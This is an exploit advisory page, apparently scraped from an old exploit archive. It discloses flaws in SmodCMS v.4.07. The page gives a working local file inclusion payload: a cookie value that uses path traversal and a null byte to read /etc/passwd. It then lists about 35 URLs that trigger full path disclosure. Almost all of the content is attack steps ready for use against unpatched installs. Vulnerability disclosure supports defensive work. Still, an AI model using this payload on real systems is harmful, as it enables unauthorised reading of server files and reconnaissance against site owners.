Home / os / win7

SmodCMS v.4.07 (LFI/FPD) Multiple Vulnerability

Posted on 24 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>SmodCMS v.4.07 (LFI/FPD) Multiple Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===============================================
SmodCMS v.4.07 (LFI/FPD) Multiple Vulnerability
===============================================

#############################################################################
# Exploit Title:         SmodCMS v.4.07 (LFI/FPD) Multiple Vulnerability
#
# Software               SmodCMS v.4.07
# Date:                  2010-04-24
# Author:                GLOBUS
# Software Link:         http://www.smod.pl
# Version:               4.07
# category:              LFI, FPD
#
# Greetz:                hds, Neo, pok3, .xXx., revel004, Kopaczka
#############################################################################

[LFI]
   1. magic_quotes_gpc = Off
   2. Cookies: smodln=../../../../../../../../../../../../etc/passwd%00
   3. Disable JavaScript
   4. Go to index.php

[FPD]
http://[PATH]/edytor/php/content/adds.php
http://[PATH]/edytor/php/content/config.php
http://[PATH]/edytor/php/content/configlite.php
http://[PATH]/edytor/php/content/configmaster.php
http://[PATH]/edytor/php/content/home.php
http://[PATH]/edytor/php/content/lng.php
http://[PATH]/edytor/php/content/lngfull.php?fv=1
http://[PATH]/edytor/php/content/modules.php
http://[PATH]/edytor/php/content/news.php
http://[PATH]/edytor/php/content/pages.php
http://[PATH]/edytor/php/content/rights.php
http://[PATH]/edytor/php/btm.php
http://[PATH]/edytor/php/content.php
http://[PATH]/edytor/php/login.php
http://[PATH]/edytor/php/menu_dodatki.php
http://[PATH]/edytor/php/meta.php
http://[PATH]/edytor/php/top.php
http://[PATH]/php/mod/register.php
http://[PATH]/php/mod/search.php
http://[PATH]/php/mod/sitemap.php
http://[PATH]/php/mod/sitemappdf.php
http://[PATH]/php/avatar.php
http://[PATH]/php/btm.php
http://[PATH]/php/content.php
http://[PATH]/php/head.php
http://[PATH]/php/lng.php
http://[PATH]/php/logout.php
http://[PATH]/php/menu.php
http://[PATH]/php/menutop.php
http://[PATH]/php/meta.php
http://[PATH]/php/news.php
http://[PATH]/php/top.php
http://[PATH]/php/winieta.php
http://[PATH]/php/zalogowany.php
http://[PATH]/php/zgubionehaslo.php
http://[PATH]/layout/smod4/main.php


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :